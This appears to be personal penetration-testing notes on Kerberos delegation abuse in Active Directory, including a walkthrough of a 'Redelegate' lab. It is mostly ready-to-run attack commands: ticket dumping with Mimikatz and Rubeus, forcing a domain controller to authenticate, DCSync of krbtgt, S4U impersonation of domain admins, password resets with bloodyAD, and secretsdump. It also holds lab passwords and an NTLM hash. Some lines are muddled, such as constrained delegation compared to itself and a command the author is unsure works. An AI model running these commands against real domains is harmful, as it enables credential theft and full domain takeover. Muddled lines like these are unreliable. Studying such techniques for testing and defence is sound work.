Unconstrained Delegation

  • Forwardable TGT
  • TRUSTED_FOR_DELEGATION Attribute set for the Domain Computer or a service

Tl;dr: The TGT will be stuffed into memory where an attacker can extract and reuse it if:

  1. You are able to compromise a server that has unconstrained delegation set.
  2. You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled (see Protections below) to connect to any service on the machine. This includes clicking on \SERVER\Share.

How can you tell which machines have unconstrained delegation set? This is actually pretty easy: search for any machine that has a userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what PowerView’s Get-DomainComputer function does when passed the -Unconstrained flag:

To perform this unconstrained delegation attack, we already need to have a couple of requirements:

  1. Control over an account with unconstrained delegation privileges
  2. Permissions to modify the servicePrincipalName attribute of that account (optional)
  3. Permissions to add/modify DNS records (optional)
  4. A way to connect victim users/computers to us

Look at this link to find attakcs for unconstrained delegation.

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/

https://github.com/CravateRouge/bloodyAD

How to check

  • Using Powerview
Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
  • Using Powershell
$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

  • Using ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

Getting the tickets

  • Mimikatz
mimikatz "sekurlsa::tickets" /export
  • Rubeus
Rubeus.exe /triage
Rubeus.exe dump /luid:0x14794e /nowrap

Forcing Domain Controller to Connect to Delegation Server

  • On web server
Rubeus.exe monitor /interval:10 /nowrap
execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io

Machine TGTs are leveraged slightly differently - see the S4U2Self Abuse module.

The Domain Controller has domain replication enabled.

lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
  • Next Path is Golden Ticket (Should add link here) if you dump krbtgt or you can dump other users hash.

S4U2Self

In the Unconstrained Delegation module, we obtained a TGT for the domain controller.  If you tried to pass that ticket into a logon session and use it to access the C$ share (like we would with a user TGT), it would fail.

This is because machines do not get remote local admin access to themselves.  What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know is a local admin (e.g. a domain admin).  Rubeus has a /self flag for this purpose.

Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /ticket:doIFuj[...]lDLklP /nowrap
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
  • Impacket ( Need to find check if it works) Confused about the altservice here.
  • But I know i have used it on a machine so it should work.
impacket-getST -self -impersonate 'T1_M.WINTERS' 'tengu.vl/gMSA01$:@sql.tengu.vl' -hashes :dd258bdca5a05840758676a2ca90cf45 -spn 'MSSQLSvc/sql.tengu.vl' 
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug

Constrained Delegation

  • Constrained Delegation limits the delegation scope as compare to constrained delegation
  • We obtain forwardable TGS
  • Flags msds-AllowedToDelegateTo property

How to Check

Get-DomainUser -TrustedToAuth

Getting TGT of the user that had Constrained Delegatation

To perform the delegation, we need the TGT of the principal (computer or user) trusted for delegation.  The most direct way is to extract it with Rubeus dump:

From Sliver

rubeus triage
rubeus dump /luid:0x3a73a2 /service:krbtgt /nowrap

or

rubeus dump /service:krbtgt /nowrap

or Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:

rubeus tgtdeleg /nowrap

Powershell

.\Rubeus.exe asktgt /user:iissvc /domain:test.domain.local /rc4:ntlmhash

Convert base64 to kirbi

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
cat tgt.b64|base64 -d > ticket.kirbi


With the TGT, perform an S4U request to obtain a usable TGS for CIFS(the service we are able to delegate to) on the machine we can delegate to.

 Remember that we can impersonate any user in the domain, but we want someone who we know to be a local admin on the target.  In this case, a domain admin makes the most sense.

This will perform an S4U2Self first and then an S4U2Proxy with altservice.

Using the TGT

rubeus -i s4u /ticket:doMFqoCxs.........dGd0GwlNM0MuTE9DQUw= /impersonateuser:Charlene.Butcher /msdsspn:time/m3webaw.m3c.LOCAL /altservice:http /dc:m3dc.m3c.local /ptt

From Redelegate machine i learned delegation as well

  • Ryan.Cooper is the Domain admin

  • Marie.Curie can change the password of helen.frost

  • Helen.Frost can Ps remote and generic all rights over FS01.redelegate.vl

Constrained Delegation

bloodyAD --host '10.10.118.16' -d "redelegate.vl" -u "Marie.curie" -p 'Fall2024!' set password 'Helen.Frost' 'Password123!'

bloodyAD --host '10.10.118.16' -d "redelegate.vl" -u "Helen.Frost" -p 'Password123!' set password 'FS01$' 'Password123!'

  • Helen Frost has Generic All on FS01
  • We also have Seenabledelegation privilege
  • we can change the password using generic all and the use the privilege to make fs01 for constrained delegation.
./bloodyAD.py -u 'Helen.Frost' -d 'redelegate.vl' -p 'Password123!' --host 'DC.redelegate.vl' add uac 'fs01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
dn: CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL
changetype: modify
add: msDS-AllowedToDelegateTo
msDS-AllowedToDelegateTo: ldap/dc.redelegate.vl

sudo apt-get install libsasl2-modules-gssapi-mit
kinit Helen.Frost
kvno ldap/dc.redelegate.vl
ldapmodify -H ldap://dc.redelegate.vl -Y GSSAPI -f modify.ldif

check if all is working

findDelegation.py 'redelegate.vl'/'fs01$:Password123!'

getST.py 'redelegate.vl/fs01$'@dc.redelegate.vl -spn ldap/dc.redelegate.vl -impersonate dc
secretsdump.py -k -no-pass dc.redelegate.vl -dc-ip 10.10.118.16